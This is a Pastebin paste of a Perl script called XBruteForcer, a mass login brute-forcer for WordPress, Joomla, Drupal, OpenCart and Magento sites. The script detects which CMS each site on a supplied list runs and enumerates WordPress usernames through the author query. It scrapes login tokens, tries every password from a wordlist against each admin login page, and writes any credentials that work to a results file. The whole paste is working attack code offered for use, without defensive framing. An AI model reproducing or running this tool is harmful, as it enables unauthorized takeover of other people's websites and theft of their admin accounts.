Advertisement
Guest User

SAXDAscasc

a guest
Feb 16th, 2019
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.08 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use if $^O eq "MSWin32", Win32::Console::ANSI;
  4. use Term::ANSIColor;
  5. use URI::URL;
  6. use Getopt::Long;
  7. use LWP::UserAgent;
  8. use IO::Socket::INET;
  9. use HTTP::Request;
  10. use HTTP::Cookies;
  11. use HTTP::Request::Common qw(POST);
  12. use HTTP::Request::Common qw(GET);
  13.  
  14. $ua = LWP::UserAgent->new(keep_alive => 1);
  15. $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
  16. $ua->timeout (10);
  17.  
  18. if ($^O =~ /MSWin32/) {system("cls"); }else { system("clear"); }
  19.  
  20. GetOptions(
  21. "l|list=s" => \$list,
  22. "p|passwords=s" => \$pass,
  23. );
  24.  
  25. banner();
  26.  
  27. unless ($list|$pass) { help(); }
  28. if ($list|$pass) { XBruteForcer(); }
  29.  
  30. sub banner() {
  31. print color('bold red')," __ __ ";
  32. print color('bold white')," ____ _ ______ \n";
  33. print color('bold red')," \\ \\ / / ";
  34. print color('bold white')," | _ \\ | | | ____| \n";
  35. print color('bold red')," \\ V / ";
  36. print color('bold white')," | |_) |_ __ _ _| |_ ___ | |__ __ _ __ ___ ___ _ __ \n";
  37. print color('bold red')," > < ";
  38. print color('bold white')," | _ <| '__| | | | _/ _ \\ | __/ _ \\| '__/ __/ _ \\ '__|\n";
  39. print color('bold red')," / . \\ ";
  40. print color('bold white')," | |_) | | | |_| | || __/ | | | (_) | | | (_| __/ | \n";
  41. print color('bold red')," /_/ \\_\\ ";
  42. print color('bold white')," |____/|_| \\__,_|\\__\\___| |_| \\___/|_| \\___\\___|_| ";
  43. print color('bold red'),"v1.3\n\n";
  44. print color('bold red'),"\t\t [";
  45. print color('bold white'),"Coded BY Mohamed Riahi";
  46. print color('bold red'),"]\n";
  47. print color('reset');
  48. };
  49.  
  50. sub help {
  51. print q(
  52. Usage: perl XBruteForcer.pl -l list.txt -p passwords.txt
  53.  
  54. OPTIONS:
  55. -l => websites list
  56. -p => Passwords list
  57. );
  58. }
  59.  
  60. sub XBruteForcer {
  61. print color('bold red')," [";
  62. print color('bold green'),"1";
  63. print color('bold red'),"]";
  64. print color('bold white')," WordPress \n";
  65. print color('bold red')," [";
  66. print color('bold green');
  67. print color('bold green'),"2";
  68. print color('bold red'),"]";
  69. print color('bold white')," Joomla \n";
  70. print color('bold red')," [";
  71. print color('bold green'),"3";
  72. print color('bold red'),"]";
  73. print color('bold white')," DruPal \n";
  74. print color('bold red')," [";
  75. print color('bold green'),"4";
  76. print color('bold red'),"]";
  77. print color('bold white')," OpenCart \n";
  78. print color('bold red')," [";
  79. print color('bold green'),"5";
  80. print color('bold red'),"]";
  81. print color('bold white')," Magento \n";
  82. print color('bold red')," [";
  83. print color('bold green'),"6";
  84. print color('bold red'),"]";
  85. print color('bold white')," Auto \n";
  86. print color('bold red')," [";
  87. print color('bold green'),"+";
  88. print color('bold red'),"]";
  89. print color('bold white')," Choose Number : ";
  90.  
  91. my $number = <STDIN>;
  92. chomp $number;
  93. print "\n";
  94. if($number eq '1')
  95. {
  96. open (THETARGET, "<$list") || die "[-] Can't open the file";
  97. @TARGETS = <THETARGET>;
  98. close THETARGET;
  99. $link=$#TARGETS + 1;
  100.  
  101. OUTER: foreach $site(@TARGETS){
  102. chomp($site);
  103.  
  104. print color('bold red'),"\n [";
  105. print color('bold green'),"+";
  106. print color('bold red'),"] ";
  107. print color('bold white'),"$site";
  108. wpuser();
  109. }
  110. }
  111. if($number eq '2')
  112. {
  113. open (THETARGET, "<$list") || die "[-] Can't open the file";
  114. @TARGETS = <THETARGET>;
  115. close THETARGET;
  116. $link=$#TARGETS + 1;
  117.  
  118. OUTER: foreach $site(@TARGETS){
  119. chomp($site);
  120.  
  121. print color('bold red'),"\n\n [";
  122. print color('bold green'),"+";
  123. print color('bold red'),"] ";
  124. print color('bold white'),"$site";
  125. joomla();
  126. }
  127. }
  128. if($number eq '3')
  129. {
  130.  
  131. open (THETARGET, "<$list") || die "[-] Can't open the file";
  132. @TARGETS = <THETARGET>;
  133. close THETARGET;
  134. $link=$#TARGETS + 1;
  135.  
  136. OUTER: foreach $site(@TARGETS){
  137. chomp($site);
  138.  
  139. print color('bold red'),"\n\n [";
  140. print color('bold green'),"+";
  141. print color('bold red'),"] ";
  142. print color('bold white'),"$site";
  143. drupal();
  144. }
  145. }
  146. if($number eq '4')
  147. {
  148.  
  149. open (THETARGET, "<$list") || die "[-] Can't open the file";
  150. @TARGETS = <THETARGET>;
  151. close THETARGET;
  152. $link=$#TARGETS + 1;
  153.  
  154. OUTER: foreach $site(@TARGETS){
  155. chomp($site);
  156.  
  157. print color('bold red'),"\n\n [";
  158. print color('bold green'),"+";
  159. print color('bold red'),"] ";
  160. print color('bold white'),"$site";
  161. opencart();
  162. }
  163. }
  164. if($number eq '5')
  165. {
  166.  
  167. open (THETARGET, "<$list") || die "[-] Can't open the file";
  168. @TARGETS = <THETARGET>;
  169. close THETARGET;
  170. $link=$#TARGETS + 1;
  171.  
  172. OUTER: foreach $site(@TARGETS){
  173. chomp($site);
  174.  
  175. print color('bold red'),"\n\n [";
  176. print color('bold green'),"+";
  177. print color('bold red'),"] ";
  178. print color('bold white'),"$site";
  179. magento();
  180. }
  181. }
  182. if($number eq '6')
  183. {
  184.  
  185. open (THETARGET, "<$list") || die "[-] Can't open the file";
  186. @TARGETS = <THETARGET>;
  187. close THETARGET;
  188. $link=$#TARGETS + 1;
  189.  
  190. OUTER: foreach $site(@TARGETS){
  191. chomp($site);
  192.  
  193. print color('bold red'),"\n\n [";
  194. print color('bold green'),"+";
  195. print color('bold red'),"] ";
  196. print color('bold white'),"$site";
  197. cms();
  198. }
  199. }
  200. }
  201.  
  202. ################ CMS DETCTER #####################
  203. sub cms(){
  204. $magsite = $site . '/admin';
  205. my $magcms = $ua->get("$magsite")->content;
  206. my $cms = $ua->get("$site")->content;
  207. if($cms =~/wp-content|wordpress/) {
  208. print color('bold white')," - ";
  209. print color("bold green"), "WordPress";
  210. wpuser();
  211. }
  212.  
  213. elsif($cms =~/<script type=\"text\/javascript\" src=\"\/media\/system\/js\/mootools.js\"><\/script>| \/media\/system\/js\/|com_content|Joomla!/) {
  214. print color('bold white')," - ";
  215. print color("bold green"), "Joomla";
  216. joomla();
  217. }
  218. elsif($cms =~/Drupal|drupal|sites\/all|drupal.org/) {
  219. print color('bold white')," - ";
  220. print color("bold green"), "Drupal";
  221. drupal();
  222. }
  223.  
  224. elsif($cms =~/route=product|OpenCart|route=common|catalog\/view\/theme/) {
  225. print color('bold white')," - ";
  226. print color("bold green"), "OpenCart";
  227. opencart();
  228. }
  229.  
  230. elsif($magcms =~/Log into Magento Admin Page|name=\"dummy\" id=\"dummy\"|Magento/) {
  231. print color("bold green"), " - Magento";
  232. magento();
  233. }
  234. else{
  235. print color('bold white')," - ";
  236. print color("bold red"), "Unknown";
  237. }
  238. }
  239.  
  240.  
  241. ###### GET WP USER #######
  242. sub wpuser{
  243. print color('reset');
  244. $user = $site . '/?author=1';
  245.  
  246. $getuser = $ua->get($user)->content;
  247. if($getuser =~/author\/(.*?)\//){
  248. $wpuser=$1;
  249. print color('bold red'),"\n [";
  250. print color('bold green'),"+";
  251. print color('bold red'),"] ";
  252. print color('bold white'),"Username: $wpuser\n";
  253. wp();
  254. }
  255. else {
  256. print color('bold red'),"\n [";
  257. print color('bold green'),"+";
  258. print color('bold red'),"] ";
  259. print color('bold white'),"Can't Get Username\n";
  260. }
  261. }
  262.  
  263. ###### WorDPress #######
  264. sub wp{
  265. print color('bold red'),"\n [";
  266. print color('bold green'),"-";
  267. print color('bold red'),"] ";
  268. print color('bold white'),"Starting brute force\n";
  269. open(a,"<$pass") or die "$!";
  270. while(<a>){
  271. chomp($_);
  272. $wp = $site . '/wp-login.php';
  273. $redirect = $site . '/wp-admin/';
  274. $wpass = $_;
  275. print color('bold red'),"\n [";
  276. print color('bold green'),"+";
  277. print color('bold red'),"] ";
  278. print color('bold white'),"Trying: $wpass ";
  279. $wpbrute = POST $wp, [log => $wpuser, pwd => $wpass, wp-submit => 'Log In', redirect_to => $redirect];
  280. $response = $ua->request($wpbrute);
  281. my $stat = $response->as_string;
  282.  
  283. if($stat =~ /Location:/){
  284. if($stat =~ /wordpress_logged_in/){
  285.  
  286. print color('bold white'),"- ";
  287. print color('bold green'),"FOUND\n";
  288. print color('reset');
  289.  
  290. open (TEXT, '>>Result.txt');
  291. print TEXT "$wp ==> User: $wpuser Pass: $wpass\n";
  292. close (TEXT);
  293. next OUTER;
  294. }
  295. }
  296. }
  297. }
  298. ###### Joomla #######
  299. sub joomla{
  300. $joomsite = $site . '/administrator/index.php';
  301.  
  302. $ua = LWP::UserAgent->new(keep_alive => 1);
  303. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  304. $ua->timeout (30);
  305. $ua->cookie_jar(
  306. HTTP::Cookies->new(
  307. file => 'mycookies.txt',
  308. autosave => 1
  309. )
  310. );
  311.  
  312.  
  313. $getoken = $ua->get($joomsite)->content;
  314. if ( $getoken =~ /name="(.*)" value="1"/ ) {
  315. $token = $1 ;
  316. }else{
  317. print color('bold red'),"\n [";
  318. print color('bold green'),"x";
  319. print color('bold red'),"] ";
  320. print color('bold white'),"Can't Grabb Joomla Token !\n";
  321. next OUTER;
  322. }
  323.  
  324. print color('bold red'),"\n [";
  325. print color('bold green'),"-";
  326. print color('bold red'),"] ";
  327. print color('bold white'),"Starting brute force\n";
  328. open(a,"<$pass") or die "$!";
  329. while(<a>){
  330. chomp($_);
  331. $joomuser = admin;
  332. $joompass = $_;
  333. print color('bold red'),"\n [";
  334. print color('bold green'),"+";
  335. print color('bold red'),"] ";
  336. print color('bold white'),"Trying: $joompass ";
  337. $joomlabrute = POST $joomsite, [username => $joomuser, passwd => $joompass, lang =>en-GB, option => user_login, task => login, $token => 1];
  338. $response = $ua->request($joomlabrute);
  339.  
  340. my $check = $ua->get("$joomsite")->content;
  341. if ($check =~ /logout/){
  342. print color('bold white'),"- ";
  343. print color('bold green'),"FOUND\n";
  344. print color('reset');
  345.  
  346. open (TEXT, '>>Result.txt');
  347. print TEXT "$joomsite => User: $joomuser Pass: $joompass\n";
  348. close (TEXT);
  349. next OUTER;
  350. }
  351. }
  352. }
  353.  
  354. ######DruPal#######
  355. sub drupal{
  356. print color('bold red'),"\n [";
  357. print color('bold green'),"-";
  358. print color('bold red'),"] ";
  359. print color('bold white'),"Starting brute force\n";
  360. open(a,"<$pass") or die "$!";
  361. while(<a>){
  362. chomp($_);
  363. $druser = admin;
  364. $drupass = $_;
  365. print color('bold red'),"\n [";
  366. print color('bold green'),"+";
  367. print color('bold red'),"] ";
  368. print color('bold white'),"Trying: $drupass ";
  369.  
  370. $drupal = $site . '/user/login';
  371. $redirect = $site . '/user/1';
  372.  
  373. $drupalbrute = POST $drupal, [name => $druser, pass => $drupass, form_build_id =>'', form_id => 'user_login',op => 'Log in', location => $redirect];
  374. $response = $ua->request($drupalbrute);
  375. $stat = $response->status_line;
  376. if ($stat =~ /302/){
  377. print color('bold white'),"- ";
  378. print color('bold green'),"FOUND\n";
  379. print color('reset');
  380.  
  381. open (TEXT, '>>Result.txt');
  382. print TEXT "$drupal => User: $druser Pass: $drupass\n";
  383. close (TEXT);
  384. next OUTER;
  385. }
  386. }
  387. }
  388.  
  389. ###### OpenCart #######
  390. sub opencart{
  391. print color('bold red'),"\n [";
  392. print color('bold green'),"-";
  393. print color('bold red'),"] ";
  394. print color('bold white'),"Starting brute force\n";
  395. open(a,"<$pass") or die "$!";
  396. while(<a>){
  397. chomp($_);
  398. $ocuser = admin;
  399. $ocpass = $_;
  400. print color('bold red'),"\n [";
  401. print color('bold green'),"+";
  402. print color('bold red'),"] ";
  403. print color('bold white'),"Trying: $ocpass ";
  404. $OpenCart= $site . '/admin/index.php';
  405.  
  406. $ocbrute = POST $OpenCart, [username => $ocuser, password => $ocpass,];
  407. $response = $ua->request($ocbrute);
  408. $stat = $response->status_line;
  409. if ($stat =~ /302/){
  410. print color('bold white'),"- ";
  411. print color('bold green'),"FOUND\n";
  412. print color('reset');
  413. open (TEXT, '>>Result.txt');
  414. print TEXT "$OpenCart => User: $ocuser Pass: $ocpass\n";
  415. close (TEXT);
  416. next OUTER;
  417. }
  418. }
  419. }
  420.  
  421. ###### Magento #######
  422. sub magento{
  423. $magsite = $site . '/admin';
  424.  
  425. $ua = LWP::UserAgent->new(keep_alive => 1);
  426. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  427. $ua->timeout (30);
  428. $ua->cookie_jar(
  429. HTTP::Cookies->new(
  430. file => 'mycookies.txt',
  431. autosave => 1
  432. )
  433. );
  434.  
  435. $getoken = $ua->get($magsite)->content;
  436. if ( $getoken =~ /type="hidden" value="(.*)"/ ) {
  437. $token = $1 ;
  438. }else{
  439. print color('bold red'),"\n [";
  440. print color('bold green'),"x";
  441. print color('bold red'),"] ";
  442. print color('bold white'),"Can't Grabb Magento Token !\n";
  443. next OUTER;
  444. }
  445.  
  446. print color('bold red'),"\n [";
  447. print color('bold green'),"-";
  448. print color('bold red'),"] ";
  449. print color('bold white'),"Starting brute force\n";
  450. open(a,"<$pass") or die "$!";
  451. while(<a>){
  452. chomp($_);
  453. $maguser = "admin";
  454. $magpass = $_;
  455. print color('bold red'),"\n [";
  456. print color('bold green'),"+";
  457. print color('bold red'),"] ";
  458. print color('bold white'),"Trying: $magpass ";
  459.  
  460. $magbrute = POST $magsite, ["form_key" => "$token", "login[username]" => "$maguser", "dummy" => "", "login[password]" => "$magpass"];
  461. $response = $ua->request($magbrute);
  462. my $pwnd = $ua->get("$magsite")->content;
  463. if ($pwnd =~ /logout/){
  464. print color('bold white'),"- ";
  465. print color('bold green'),"FOUND\n";
  466. print color('reset');
  467. open (TEXT, '>>Result.txt');
  468. print TEXT "$magsite => User: $maguser Pass: $magpass\n";
  469. close (TEXT);
  470. next OUTER;
  471. }
  472. }
  473. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement